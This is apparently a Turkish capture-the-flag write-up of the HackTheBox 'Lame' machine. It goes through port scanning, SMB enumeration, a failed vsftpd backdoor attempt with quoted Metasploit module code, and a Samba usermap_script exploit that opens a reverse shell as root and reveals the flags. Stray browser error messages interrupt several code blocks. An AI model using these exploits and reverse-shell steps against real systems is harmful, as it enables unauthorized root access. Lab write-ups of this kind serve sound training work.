

## LAME – HACKTHEBOX

Her zaman olduğu gibi nmap taraması ile makinamıza port taraması gerçekleştiriyoruz.

```
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3

Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-15 14:21 +03
Nmap scan report for 10.10.10.3
Host is up (0.080s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ ftp-syst:
|   STAT:
|_ FTP server status:
|   Connected to 10.10.14.3
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPd 2.3.4 - secure, fast, stable
|_ End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:ld:de:a7:2b:ae:61:bl:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-lubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54G55 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_ smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_ smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 21/tcp)
traceroute to 10.10.10.3, 3 hops max, 60 byte packets
 0 10.10.10.1 0.000
 1 10.10.10.2 0.000
 2 10.10.10.3 0.000
```

## VSFTPD 2.3.4 (Backdoor Command Execution)

VSFTPD 2.3.4 sürümünde RCE zafiyeti olduğunu searchsploit ile tespit ediyoruz. Exploiti metasploit kullanarak exploit etmeye çalışalım.

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
-----
Name      Current Setting  Required  Description
-----
RHOSTS    10.10.10.3       yes       The target address range or CIDR identifier
RPORT     21               yes       The target port (TCP)

Exploit target:
-----
Id  Name
--  --
0   Automatic

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.10.3:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

The connection has timed out

The server at 10.10.10.5 is taking too long to respond.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.

Exploitin çalışmamasından zafiyetin patchlendiğini düşünebiliriz ancak her zaman emin olmakta fayda var. Exploiti incelediğimizde zafiyetin username'in sonuna ":" ifadesinin eklenmesinden kaynaklandığını görüyoruz

```
end

# Connect to the FTP service port first
connect

banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
  print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
  disconnect
  return
end

if resp =~ /^331 /
  print_error("This server did not respond as expected: #{resp.strip}")
  disconnect
  return
end
```

The connection has timed out

The server at 10.10.10.5 is taking too long to respond.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make

Eğer sistem zafiyete sahip ise makina üzerinde 6200 port'undan shell spawn edildiğini aşağıdaki kod bloğundan anlıyoruz. Adındanda anlaşılacağı üzere backdoor zafiyeti.

```

if resp =~ /^331 /
  print_error("This server did not respond as expected: #{resp.strip}")
  disconnect
  return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
  print_good("Backdoor service has been spawned, handling...")
  handle_backdoor(nsock)
  return
end

disconnect

end

def handle_backdoor(s)

  s.put("id\n")

  r = s.get_once(-1, 5).to_s
  if r =~ /uid=/
    print_error("The service on port 6200 does not appear to be a shell")
    disconnect(s)
    return
  end

  print_good("UID: #{r.strip}")

  s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
  handler(s)

end

```

The connection has ti

The server at 10.10.10.5 is taking too long to

- The site could be temporarily unavailable for a few moments.
- If you are unable to load any pages, check your connection.
- If your computer or network is protected by a firewall, make sure that Firefox is permitted to access the Internet.

Telnet aracını kullanarak zafiyet mevcut mu değil mi kontrol edelim.

```

root@kali:~/HACKTHEBOX/oscp/easy/lame# telnet 10.10.10.3 21
Trying 10.10.10.3...
Connected to 10.10.10.3.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER whatisthis:)
331 Please specify the password.
PASS idunknow

```

The connection has timed o

The server at 10.10.10.5 is taking too long to respond.

- The site could be temporarily unavailable or too busy for a few moments.
- If you are unable to load any pages, check your connection.

```

root@kali:~/HACKTHEBOX/oscp/easy/lame# telnet 10.10.10.3 6200
Trying 10.10.10.3...
id

```

Zafiyetin patchlendiğini emin olduktan sonra bir sonraki portumuz olan 22 numaralı portumuzu kontrol edelim.

## OPENSSH 4.7p1

searchsploit ile openssh 4.7p1'i versiyonun spesifik sürümü ile alakalı bir zafiyetin olmadığını görürüz ancak openssh şeklinde arattığımızda bir çok zafiyete sahip olduğumuzu aşağıda görebiliriz.

```
root@kali:~/HACKTHEBOX/oscp/easy/lame# searchsploit openssh
```

Exploit Title	Path (/usr/share/exploitdb/)
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation	exploits/linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service	exploits/multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution	exploits/freebsd/remote/17462.txt
Novell Netware 6.5 - OpenSSH Remote Stack Overflow	exploits/novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite	exploits/linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration	exploits/linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)	exploits/linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One	exploits/unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow	exploits/linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)	exploits/unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)	exploits/unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service	exploits/multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation	exploits/linux/local/41173.c
OpenSSH 7.2 - Denial of Service	exploits/linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection	exploits/multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration	exploits/linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution	exploits/linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution	exploits/linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Dom	exploits/linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading	exploits/linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)	exploits/linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files	exploits/multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident	exploits/linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool	exploits/linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration	exploits/linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack	exploits/multiple/remote/3303.sh
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read	exploits/linux/local/258.sh

```
Shellcodes: No Result
root@kali:~/HACKTHEBOX/oscp/easy/lame#
```

Buradaki scriptleri çalıştırarak bilgi edinmeye çalışabiliriz ancak portları incelediğimizde samba servisi çok daha cezbedici olduğu için sonrasına bırakıyoruz.

## Samba smb2 3.X – 4.X (Samba 3.0.20-Debian)

Windows SMB linux sistemler için geliştirilmiş versiyonu SAMBA servisinden bilgi toplamak için bir çok araç mevcut. Sırası ile açılarak kullanalım.

```
root@kali:~/HACKTHEBOX/oscp/easy/lame# nmblookup -A 10.10.10.3
Looking up status of 10.10.10.3
No reply from 10.10.10.3

root@kali:~/HACKTHEBOX/oscp/easy/lame#
```

Nbmlook ile hostname araması yapıyoruz.

-A: ip adresi ile kullanacağımızı belirtiyor.

```

root@kali:~/HACKTHEBOX/oscp/easy/lame# nmblookup --help
Usage: <MODE> ...
  -B, --broadcast=BROADCAST-ADDRESS    Specify address to use for broadcasts
  -f, --flags                             List the NMB flags returned
  -U, --unicast=STRING                   Specify address to use for unicast
  -M, --master-browser                   Search for a master browser
  -R, --recursion                        Set recursion desired in package
  -S, --status                           Lookup node status as well
  -T, --translate                        Translate IP addresses into names
  -r, --root-port                         Use root port 137 (Win95 only replies to this)
  -A, --lookup-by-ip                    Do a node status on <name> as an IP Address

Help options:
  -?, --help                             Show this help message
  --usage                                Display brief usage message

Common samba options:
  -d, --debugLevel=DEBUGLEVEL           Set debug level
  -s, --configfile=CONFIGFILE           Use alternate configuration file
  -l, --log-basename=LOGFILEBASE        Base name for log files
  -V, --version                          Print version
  --option=name=value                   Set smb.conf option from command line

Connection options:
  -O, --socket-options=SOCKETOPTIONS    socket options to use
  -n, --netbiosname=NETBIOSNAME         Primary netbios name
  -W, --workgroup=WORKGROUP             Set the workgroup name
  -i, --scope=SCOPE                     Use this Netbios scope

root@kali:~/HACKTHEBOX/oscp/easy/lame#

```

Smbmap ile samba/smb servisindeki share'leri yetkileriyle birlikte veriyor.

```

root@kali:~/HACKTHEBOX/oscp/easy/lame# smbmap -H 10.10.10.3
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.3...
[+] IP: 10.10.10.3:445 Name: lame.htb

Disk
-----
print$
tmp
opt
IPC$
ADMIN$

Permissions      Comment
-----
NO ACCESS        Printer Drivers
READ, WRITE      oh noes!
NO ACCESS
NO ACCESS
IPC Service (lame server (Samba 3.0.20-Debian))
IPC Service (lame server (Samba 3.0.20-Debian))
[+] Server $global_target allows sessions using username '$global_username'.

root@kali:~/HACKTHEBOX/oscp/easy/lame#

```



Smbclient ile share'lara erişebiliyoruz.

```
root@kali:~/HACKTHEBOX/oscp/easy/lame# /opt/impacket/examples/smbclient.py 10.10.10.3
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Type help for list of commands
# shares
print$ /> 45939.py
tmp
opt
IPCS
ADMIN$
# use ADMIN$
[-] SMB SessionError: STATUS_ACCESS_DENIED((Access Denied) A process has requested access to an object but has not been granted those access rights.)
# use opt
[-] SMB SessionError: STATUS_ACCESS_DENIED((Access Denied) A process has requested access to an object but has not been granted those access rights.)
# use print$
[-] SMB SessionError: STATUS_ACCESS_DENIED((Access Denied) A process has requested access to an object but has not been granted those access rights.)
# use IPC$
[-] SMB SessionError: STATUS_NETWORK_ACCESS_DENIED(Network access is denied.)
# use tmp
# ls
drw-rw-rw- 0 Wed Nov 13 06:20:01 2019 .
drw-rw-rw- 0 Sun May 20 22:36:11 2012 ..
drw-rw-rw- 0 Wed Nov 13 06:09:29 2019 .ICE-unix
drw-rw-rw- 0 Wed Nov 13 06:09:54 2019 .X11-unix
drw-rw-rw- 11 Wed Nov 13 06:09:54 2019 .X0-lock
-rw-rw-rw- 0 Wed Nov 13 06:10:36 2019 5149.jsvc_up
# get 5149.jsvc_up
[-] SMB SessionError: STATUS_ACCESS_DENIED((Access Denied) A process has requested access to an object but has not been granted those access rights.)
```

Eğer doğrudan istenilen bir share'a erişmek istersek aşağıdaki gibi erişebiliriz.

```
root@kali:~/HACKTHEBOX/oscp/easy/lame# smbclient //10.10.10.3/tmp
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                D                0 Wed Nov 13 08:23:48 2019
..               DR               0 Sun May 20 22:36:12 2012
5145.jsvc_up     R                0 Wed Nov 13 06:35:35 2019
.ICE-unix        DH                0 Wed Nov 13 06:34:28 2019
.X11-unix        DH                0 Wed Nov 13 06:34:53 2019
.X0-lock         HR               11 Wed Nov 13 06:34:53 2019

7282168 blocks of size 1024. 5678796 blocks available
smb: \>
```

SMB versiyonunu öğrenmek için smbver.sh aracı kullanabiliriz.

```
root@kali:~/HACKTHEBOX/oscp/easy/lame# bash smbver.sh 10.10.10.3
10.10.10.3:~$ cat smbver.sh
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple word
# Lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST [RPORT]" && exit; else rhost=$1; fi
if [ -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s 0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba[s.a.m]" | tr -
d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "RHOST: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null & echo "Generating Workgroup/Domain on 10.10.10.3"
sleep 0.5 && echo ""
root@kali:~/HACKTHEBOX/oscp/easy/lame#
root@kali:~/HACKTHEBOX/oscp/easy/lame# ngrep -i -d tap0 's.7a.7m.7b.7a.*[[:digit:]]' port 139
tap0: No such device exists (SIOCGIFHWADDR: No such device): No such device
exit
0 received, 0 matched
root@kali:~/HACKTHEBOX/oscp/easy/lame# ngrep -i -d tun0 's.7a.7m.7b.7a.*[[:digit:]]' port 139
interface: tun0 (10.10.14.0/255.255.254.0)
filter: ( port 139 ) and ( ip || ip6 )
match: s.7a.7m.7b.7a.*[[:digit:]]
#####
T 10.10.14.3:57934 -> 10.10.10.3:139 [AP] #11
...SMBs.....C.....PC NETWORK PROGRAM 1.0..MICROSOFT NETWORKS 1.03..MICROS
OFT NETWORKS 3.0..LANMAN1.0..LM1.2X002..DOS LANMAN2.1..Samba..NT LANMAN 1.0..NT LM 0
.12.
###
T 10.10.10.3:139 -> 10.10.14.3:57934 [AP] #15
...SMBs.....V.d.....0.....+.....7.....NTLMSSP.....0
...@.....b.b.0...L.A.M.E.....L.A.M.E.....h.a.c.k.t.h.e.b.o.x...g.r...
$.l.a.m.e...h.a.c.k.t.h.e.b.o.x...g.r...U.n.i.x...S.a.m.b.a...3...0...2.0...D.e.b.i.a.n...W.0
.R.K.G.R.O.U.P...
###
T 10.10.10.3:139 -> 10.10.14.3:57934 [AP] #18
...SMBs.....V.d.....0.....U.n.i.x...S.a.m.b.a...3...0...2.0...D.e
.b.i.a.n...W.0.R.K.G.R.O.U.P...
###
T 10.10.10.3:139 -> 10.10.14.3:57934 [AP] #20
...SMBs.....V.d.....0.....+.....7.....NTLMSSP.....0
...@.....b.b.0...L.A.M.E.....L.A.M.E.....h.a.c.k.t.h.e.b.o.x...g.r...
$.l.a.m.e...h.a.c.k.t.h.e.b.o.x...g.r...U.n.i.x...S.a.m.b.a...3...0...2.0...D.e.b.i.a.n...W.0
.R.K.G.R.O.U.P...
###
T 10.10.10.3:139 -> 10.10.14.3:57934 [AP] #22
...SMBs.....V.d.....0.....U.n.i.x...S.a.m.b.a...3...0...2.0...D.e
.b.i.a.n...W.0.R.K.G.R.O.U.P...
#####
```

Yada enum4linux aracını kullanarak SMB servisine ait bir çok bilgi edebiliriz.

```
=====
|   Getting domain SID for 10.10.10.3   |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

=====
|   OS information on 10.10.10.3   |
=====
[+] Got OS info for 10.10.10.3 from smbclient:
[+] Got OS info for 10.10.10.3 from srvinfo:
LAME          Wk Sv PrQ Unx NT SNT lame server (Samba 3.0.20-Debian)
platform_id   : 500
os version    : 4.9
server type   : 0x9a03
```

```
=====
|   Users on 10.10.10.3   |
=====
index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null)
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null)
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null)
index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null)
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null)
index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null)
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null)
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null)
index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null)
index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd Name: (null) Desc: (null)
index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null)
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null)
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null)
index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null)
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null)
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null)
index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid Name: (null) Desc: (null)
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null)
index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null)
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null)
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null)
index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null)
index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null)
index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name: ,, Desc: (null)
index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null)
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null)
index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null)
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null)
index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null)
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)
```

```
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0xbba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x4ca]
user:[dhcp] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x43a]
user:[libuuid] rid:[0x4b0]
user:[backup] rid:[0x42c]
user:[msfadmin] rid:[0xbb8]
user:[telnetd] rid:[0x4c8]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4bc]
user:[service] rid:[0xbbc]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]
```

```
=====
|  Share Enumeration on 10.10.10.3  |
=====
Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
tmp            Disk      oh noes!
opt            Disk
IPC$           IPC       IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$         IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
```

```
Server         Comment
-----
Workgroup       Master
-----
WORKGROUP      LAME
```

```
[+] Attempting to map shares on 10.10.10.3
//10.10.10.3/print$ Mapping: DENIED, Listing: N/A
//10.10.10.3/tmp Mapping: OK, Listing: OK
//10.10.10.3/opt Mapping: DENIED, Listing: N/A
//10.10.10.3/IPC$ [E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//10.10.10.3/ADMIN$ Mapping: DENIED, Listing: N/A
```



```
Users on 10.10.10.3 via RID cycling (RIDS: 500-550,1000-1050)

[!] Found new SID: S-1-5-21-2446995257-2525374255-2673161615
[+] Enumerating users using SID S-1-5-21-2446995257-2525374255-2673161615 and logon username '', password ''
S-1-5-21-2446995257-2525374255-2673161615-500 LAME\Administrator (Local User)
S-1-5-21-2446995257-2525374255-2673161615-501 LAME\nobody (Local User)
S-1-5-21-2446995257-2525374255-2673161615-512 LAME\Domain Admins (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-513 LAME\Domain Users (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-514 LAME\Domain Guests (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1000 LAME\root (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1001 LAME\root (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1002 LAME\daemon (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1003 LAME\daemon (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1004 LAME\bin (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1005 LAME\bin (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1006 LAME\sys (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1007 LAME\sys (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1008 LAME\sync (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1009 LAME\adm (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1010 LAME\games (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1011 LAME\tty (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1012 LAME\man (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1013 LAME\disk (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1014 LAME\lp (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1015 LAME\lp (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1016 LAME\mail (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1017 LAME\mail (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1018 LAME\news (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1019 LAME\news (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1020 LAME\uucp (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1021 LAME\uucp (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1025 LAME\man (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1026 LAME\proxy (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1027 LAME\proxy (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1031 LAME\kmem (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1041 LAME\dialout (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1043 LAME\fax (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1045 LAME\voice (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1049 LAME\cdrom (Domain Group)
```

Bir çok bilgi edindikten ve versiyon bilgisini aldıktan sonra samba'nın bu versiyonuna ait zafiyet var mı bakalım.

```
root@kali:~/HACKTHEBOX/oscp/easy/lame# searchsploit samba 3.0.20
-----
Exploit Title | Path
              | (/usr/share/exploitdb/)
-----
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command E | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt
-----
Shellcodes: No Result
root@kali:~/HACKTHEBOX/oscp/easy/lame#
```

Exploitlerin detaylı incelemesini başka bir yazıda ele alabiliriz. Exploitin açıklamasını okuduğumuzda username shell-meta karakterleri içeriyorsa arbitrary-code-execution elde edebiliriz. Linux shell meta-character'leri > >> < \* ? [] \$(cmd) | ; || && & # \$ \ << `cmd` şeklinde gösterebiliriz.

```
msf5 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.10.10.3        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file
h>'
  RPORT     139               yes       The target port (TCP)

Payload options (cmd/unix/reverse):
  Name      Current Setting  Required  Description
  ----      -
  LHOST     /* smbver.sh    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  ---
  0    Automatic

msf5 exploit(multi/samba/usermap_script) > set lhost 10.10.14.3
lhost => 10.10.14.3
msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 10.10.14.3:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Zqtd3SXJpljHt7Bo;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Zqtd3SXJpljHt7Bo\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.3:4444 -> 10.10.10.3:54735) at 2019-11-16 11:43:23 +0300

id
uid=0(root) gid=0(root)
cat /etc/issue
```

```

cat /etc/issue
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

cd /root
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
92caac3be140ef409e45721348a4e9df

```

```

References =>
[
  CVE, '2007-2447' ],
  CVE, '34700' ],
  BID, '23972' ],
  URL, 'http://labs.iddefense.com/intelligence/vuln',
  URL, 'http://samba.org/samba/security/CVE-2007-
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true, # root or nobody user
'Payload' =>
{
  'Space' => 1024,
  'DisableNops' => true,
  'Compat' =>
  {
    'PayloadType' => 'cmd',
    # * perl and * ruby work if they are insta
    # mileage may vary from system to system..
  }
},
'Targets' =>
[

```

```

cd makis
ls -la
total 28
drwxr-xr-x 2 makis makis 4096 Mar 14 2017 .
drwxr-xr-x 6 root root 4096 Mar 14 2017 ..
-rw-r--r-- 1 makis makis 1107 Mar 14 2017 .bash_history
-rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
-rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile
-rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis 33 Mar 14 2017 user.txt
cat user.txt
69454a937d94f5f0225ea00acd2e84c5

```

```

Payload =>
{
  'Space' => 1024,
  'DisableNops' => true,
  'Compat' =>
  {
    'PayloadType' => 'cmd',
    # * perl and * ruby work if they are insta
    # mileage may vary from system to system..
  }
},
'Targets' =>
[
  [ "Automatic", { } ]
]

```